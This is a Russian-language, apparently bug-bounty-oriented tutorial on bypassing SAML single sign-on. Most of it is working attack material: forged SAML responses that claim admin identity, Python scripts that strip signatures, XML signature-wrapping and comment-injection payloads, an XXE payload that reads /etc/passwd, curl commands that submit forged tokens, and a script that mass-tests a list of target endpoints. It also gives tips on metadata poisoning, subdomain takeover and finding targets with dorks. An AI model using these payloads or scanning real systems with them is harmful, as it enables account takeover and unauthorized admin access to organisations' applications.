Ну что, брат, сегодня разбираем, как через SAML-SSO заходить в админки без пароля. Это когда DevOps настроил “Single Sign-On” за 15 минут по гайду со StackOverflow, а проверку подписи забыл. Результат — ты Бог с curl’ом.
Что за дыра
SAML (Security Assertion Markup Language) — это XML-протокол для SSO.
Схема простая:
1. Ты идёшь на app.com/login
2. Тебя редиректит на Identity Provider (IDP) типа Okta/Azure AD
3. IDP проверяет логин/пароль, генерит SAML Response (XML с утверждением “Да, это Вася”)
4. Браузер отправляет этот Response обратно на app.com
5. Service Provider (SP) проверяет подпись и пускает тебя внутрь
Где косяк: Если SP не проверяет подпись или принимает любой issuer, ты можешь сделать свой Response, прописать там email=admin@company.com и зайти как CEO.
Типичные мисконфиги
1. Нет валидации подписи
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<!-- Твой поддельный SAML Response --> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_fake123" IssueInstant="2025-10-23T08:58:00Z" Destination="https://target.com/saml/acs"> <saml:Issuer>https://idp.target.com</saml:Issuer> <saml:Assertion> <saml:Subject> <saml:NameID>admin@target.com</saml:NameID> </saml:Subject> <saml:AttributeStatement> <saml:Attribute Name="email"> <saml:AttributeValue>admin@target.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role"> <saml:AttributeValue>superadmin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> |
Что тут не так: Нет блока <Signature> с цифровой подписью. Если SP не проверяет её — он просто парсит XML и верит, что admin@target.com — это ты.
2. Принимает левый Issuer
Даже если подпись есть, SP может не проверять, кто её подписал. Пример конфига (AWS Cognito/Auth0):
|
1 2 3 4 5 6 |
{ "saml": { "idp_entity_id": "https://idp.target.com", "verify_issuer": false // 🤡 ВОТ ОНО } } |
Ты поднимаешь свой IDP на https://evil.com, генеришь валидную подпись своим ключом, прописываешь Issuer: https://idp.target.com — и SP думает: “О, это наш IDP!”.
3. XML Signature Wrapping (XSW)
Классика — подмена элементов в XML через комментарии:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<samlp:Response> <saml:Assertion ID="real"> <saml:Subject> <saml:NameID>user@target.com</saml:NameID> </saml:Subject> <Signature>...</Signature> <!-- Валидная подпись --> </saml:Assertion> <!-- Вставляем левый Assertion --> <saml:Assertion ID="fake"> <saml:Subject> <saml:NameID>admin@target.com</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> |
Парсер проверяет подпись первого Assertion, но применяет данные из второго (если логика кривая).
Как тестировать
Инструменты
1. SAML Raider (Burp Suite extension)
|
1 2 3 4 5 |
# Установка 1. Burp → Extender → BApp Store → SAML Raider 2. Перехвати POST на /saml/acs 3. Вкладка SAML Raider → Remove Signature 4. Меняй email/роль → Forward |
Что смотреть: Если после Remove Signature тебя всё равно пустило — jackpot.
2. SAMLTool (CLI-версия)
|
1 2 3 4 5 |
git clone https://github.com/ernw/samltool cd samltool python3 samltool.py --decode saml_response.b64 # Редактируй XML python3 samltool.py --encode modified.xml > evil.b64 |
Закинь evil.b64 в POST-запрос:
|
1 2 |
curl -X POST https://target.com/saml/acs \ -d "SAMLResponse=$(cat evil.b64)&RelayState=/" |
3. Ручная проверка через Python
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import base64, zlib from lxml import etree # Декодируй SAML Response из Burp saml_b64 = "PHNhbWxwOlJlc3BvbnNlPi4uLjwvc2FtbHA6UmVzcG9uc2U+" saml_xml = base64.b64decode(saml_b64) # Парсинг tree = etree.fromstring(saml_xml) # Находим NameID и меняем for nameid in tree.xpath('//saml:NameID', namespaces={'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}): nameid.text = 'admin@target.com' # Удаляем подпись for sig in tree.xpath('//ds:Signature', namespaces={'ds': 'http://www.w3.org/2000/09/xmldsig#'}): sig.getparent().remove(sig) # Энкодим обратно evil_xml = etree.tostring(tree) evil_b64 = base64.b64encode(evil_xml).decode() print(evil_b64) |
Вставляй в POST → профит.
Обход защит
Если есть проверка подписи
1. Comment Injection
Многие парсеры игнорируют комментарии при валидации, но читают весь XML:
|
1 2 |
<saml:NameID>admin@target.com<!--</saml:NameID><saml:NameID>user@target.com--></ saml:NameID> |
Парсер валидации видит user@target.com, а логика авторизации — admin@target.com.
2. XML External Entity (XXE)
Если парсер обрабатывает DOCTYPE:
|
1 2 3 4 |
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <saml:AttributeValue>&xxe;</saml:AttributeValue> |
Может дать RCE через expect:// или SSRF.
3. Replay Attack
Если нет проверки NotOnOrAfter (время жизни токена):
|
1 2 3 4 |
# Перехвати легитимный Response # Через 10 часов отправь его снова curl -X POST https://target.com/saml/acs \ -d "SAMLResponse=$OLD_TOKEN" |
Если есть WAF
1. Обход через deflate
SAML может быть сжат через zlib:
|
1 2 3 4 |
import zlib, base64 xml = b"<samlp:Response>...</samlp:Response>" compressed = zlib.compress(xml)[2:-4] # Убираем zlib-хедеры b64 = base64.b64encode(compressed) |
WAF может не декомпрессировать для проверки.
2. HTTP Parameter Pollution
Отправь два параметра:
|
1 |
SAMLResponse=legit_token&SAMLResponse=evil_token |
Веб-сервер может взять последний, а WAF проверит первый.
PoC для баунти
Сценарий: Нет проверки подписи
Шаг 1: Перехват легитимного Response
|
1 2 3 4 5 6 |
# В Burp перехвати POST на /saml/acs POST /saml/acs HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8+... |
Шаг 2: Декодируй и модифицируй
|
1 2 3 4 |
echo "PD94bWwgdm..." | base64 -d > original.xml # Меняй NameID на admin@target.com # Удаляй блок <Signature>...</Signature> cat modified.xml | base64 -w0 > evil.b64 |
Шаг 3: Отправь
|
1 2 3 4 5 6 7 |
curl -X POST https://target.com/saml/acs \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "SAMLResponse=$(cat evil.b64)" \ -c cookies.txt # Чекни куки cat cookies.txt | grep session |
Доказательство:
• Скриншот с admin@target.com в профиле
• Лог запроса из Burp (покажи отсутствие <Signature>)
• CVSS: 9.1 Critical (Authentication Bypass)
Автоматизация
Скрипт для mass-testing
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
import requests, base64 from lxml import etree def test_saml_bypass(url, email): saml_template = f''' <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{email}</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> ''' saml_b64 = base64.b64encode(saml_template.encode()).decode() r = requests.post(url, data={'SAMLResponse': saml_b64}, allow_redirects=False) if 'session' in r.cookies or r.status_code == 302: print(f"[+] VULNERABLE: {url} | Email: {email}") return True return False # Массовая проверка targets = [ "https://app1.com/saml/acs", "https://app2.com/sso/consume", ] for target in targets: test_saml_bypass(target, "admin@target.com") |
Советы:
Три вектора для добивания
1. SAML Metadata poisoning:
Если есть endpoint /saml/metadata, попробуй заменить его через SSRF:
|
1 2 |
curl https://target.com/admin/saml/metadata \ -X PUT -d @evil_metadata.xml |
1. Пропиши свой IDP — все юзеры пойдут через твой сервер.
2. Session fixation через RelayState:
|
1 |
curl "https://target.com/saml/login?RelayState=../../admin/delete_user?id=1" |
2. После логина жертва может случайно выполнить действие.
3. Subdomain takeover + SAML:
Если Issuer: https://old-idp.target.com, но поддомен мёртвый:
|
1 2 3 |
# Забирай через AWS Route53/Heroku heroku create old-idp-target # Поднимай свой IDP → вся компания ходит через тебя |
План атаки (если зацепка есть)
1. Найди SAML endpoint: Ищи /saml, /sso, /acs в Burp History или через:
|
1 |
gospider -s https://target.com -d 3 | grep -i saml |
2. Перехвати легитимный Response: Зарегай тестовый аккаунт, логинься через SSO.
3. Тест 1 — Remove Signature: Удали <Signature> → отправь. Если работает — репорт готов.
4. Тест 2 — Change Issuer: Поменяй Issuer на https://evil.com, но оставь подпись. Если работает — ещё хуже.
5. Тест 3 — XSW Attack: Используй SAML Raider → Insert XSW → пробуй 8 вариантов обёртки.
Если застрял
• Metadata leak: Чекни /.well-known/saml-metadata.xml или /FederationMetadata/2007-06/FederationMetadata.xml — там могут быть сертификаты IDP.
• Google Dorks:
|
1 2 |
site:target.com inurl:saml filetype:xml site:target.com "EntityDescriptor" "IDPSSODescriptor" |
• Nuclei template:
|
1 |
nuclei -u https://target.com -t ~/nuclei-templates/misconfiguration/saml-response.yaml |
• Если всё закрыто — ищи JWT-based SSO (OAuth 2.0 misconfig) — там свои приколы с aud/iss.
Иди ломай, бро. Только помни: SAML — это боль. Если видишь XML больше 10 КБ, готовь валерьянку. И да, всегда тести на staging/test-окружениях, если есть scope. На проде можешь случайно уронить HR-систему и получить не баунти, а повестку. 🏴☠️



